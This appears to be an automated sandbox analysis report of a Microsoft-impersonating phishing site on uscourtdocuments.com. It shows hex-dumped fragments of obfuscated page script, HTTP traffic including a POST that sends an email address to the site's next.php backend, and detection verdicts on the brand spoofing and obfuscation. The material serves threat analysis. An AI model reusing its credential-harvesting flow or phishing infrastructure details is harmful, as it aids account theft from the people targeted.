2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 Data Ascii: '\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-x
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 Data Ascii: ','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 Data Ascii: bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAA
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 Data Ascii: re','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200
2024-12-09 13:20:15 UTC	8184	IN	Data Raw: 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 Data Ascii: x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49900	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:18 UTC	357	OUT	GET /next.php HTTP/1.1 Host: qtur.uscourtdocuments.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:19 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:19 GMT Content-Type: application/json Content-Length: 0 Connection: close X-Powered-By: PHP/8.0.30 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Of5yN9kRFybuowhSiP450f1a0mZB5ymkxLfkmPdoqrPHCV2hC0SWb7MYdCpeslA6yu2eut9ipZBaSDf2%2BBWpdyvFCGeUceLuEq96j1HVFZWY%2F6R5U%2BGmmy%2ByVVDMOEpH3SJyvxh0hDFcMrat"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54ab7bb7c7ca0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2015&rtt_var=762&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=935&delivery_rate=1429270&cwnd=174&unsent_bytes=0&cid=ee1f77b804c891ff&ts=582&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49902	152.199.21.175	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:21 UTC	667	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:21 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4702522 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 09 Dec 2024 13:20:21 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-09 13:20:21 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49916	152.199.21.175	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:23 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:24 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4702524 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Mon, 09 Dec 2024 13:20:23 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-09 13:20:24 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49946	172.67.129.98	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:35 UTC	714	OUT	POST /next.php HTTP/1.1 Host: qtur.uscourtdocuments.com Connection: keep-alive Content-Length: 29 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://jdjdhjh.uscourtdocuments.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:35 UTC	29	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 39 6e 31 73 6f 38 40 6b 6e 70 2e 6e 65 74 Data Ascii: do=check&email=9n1so8@knp.net
2024-12-09 13:20:35 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: https://jdjdhjh.uscourtdocuments.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y6Etd%2FRzfbr5x43O%2FMkNf11cA75SiRzWscQn1fCNoyUZl3UiRQJWswQYllYVbOwPleI2Cd75BkOooy4LCO76aWfAcYfI0zb4MOZkE45pBu3SujL7aFJTWQLP28o4MG9HWpgUD0x%2FRiJxNjxB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54b1caca0c443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1566&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1343&delivery_rate=1769696&cwnd=241&unsent_bytes=0&cid=06aee9a9257f18b4&ts=946&x=0"
2024-12-09 13:20:35 UTC	105	IN	Data Raw: 36 33 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 20 75 73 65 72 6e 61 6d 65 2e 20 54 72 79 20 61 6e 6f 74 68 65 72 20 61 63 63 6f 75 6e 74 2e 22 7d 0d 0a Data Ascii: 63{"status":"error","message":"We couldn't find an account with that username. Try another account."}
2024-12-09 13:20:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49958	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:38 UTC	357	OUT	GET /next.php HTTP/1.1 Host: qtur.uscourtdocuments.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:39 UTC	808	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:38 GMT Content-Type: application/json Content-Length: 0 Connection: close X-Powered-By: PHP/8.0.30 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JaMwkw4q9tMWtwqbC2yunScGlBGTkcX5L1R4fE2iwk1bLh1VoRV1frvQZJ0r9W7A5Uq%2BA%2F7SKAUHnKxEQLmN21DQnAbNNEbGksf%2F%2F1AbaIcN4dTetnNgtspqxmYlQnXRANrwLT2sH7Kit53m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54b31fcba8c0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2017&min_rtt=2012&rtt_var=765&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=935&delivery_rate=1421616&cwnd=206&unsent_bytes=0&cid=31acc7beb3019474&ts=605&x=0"

Target ID:	1
Start time:	08:19:14
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:19:19
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2220,i,521131504359344851,12551365018299421929,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:19:25
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jdjdhjh.uscourtdocuments.com/A3RjQ"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'jdjdhjh.uscourtdocuments.com' does not match the legitimate domain for Microsoft., The domain 'uscourtdocuments.com' is unrelated to Microsoft and suggests a different service or entity., The subdomain 'jdjdhjh' appears random and does not provide any clear association with Microsoft., The presence of a subdomain and unrelated main domain is a common tactic in phishing attempts., The input field '9n1so8@knp.net' does not provide any context or association with Microsoft. DOM: 1.3.pages.csv
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'jdjdhjh.uscourtdocuments.com' does not match the legitimate domain for Microsoft., The domain 'uscourtdocuments.com' is unrelated to Microsoft and suggests a different service or entity., The subdomain 'jdjdhjh' appears random and does not provide any clear association with Microsoft., The presence of a subdomain and unrelated main domain is a common tactic in phishing attempts., The input field '9n1so8@knp.net' does not provide any context or association with Microsoft, adding to the suspicion. DOM: 1.4.pages.csv

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jdjdhjh.uscourtdocuments.com/A3RjQ/... Script contains several high-risk indicators: 1) Uses base64 decoding (atob) which is common in malicious code obfuscation, 2) Contains excessive nonsense text (meat-ipsum) likely used to obscure true intent, 3) Processes URL parameters in a way that could enable data exfiltration or command injection, 4) Uses variable name obfuscation (rh13z8jemt). These patterns are consistent with malicious code attempting to hide its true purpose.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://jdjdhjh.uscourtdocuments.com/A3RjQ/... Script contains multiple high-risk indicators: heavily obfuscated code using array manipulations and string encoding, dynamic property definitions using Object.defineProperty, and suspicious variable naming patterns. The code appears to be intentionally obscured to hide its true functionality.

Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: Invalid link: Privacy statement
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: Invalid link: Privacy statement

Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No favicon
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No favicon
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No favicon
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No favicon

Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No <meta name="author".. found
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No <meta name="author".. found

Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No <meta name="copyright".. found
Source: https://jdjdhjh.uscourtdocuments.com/A3RjQ/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

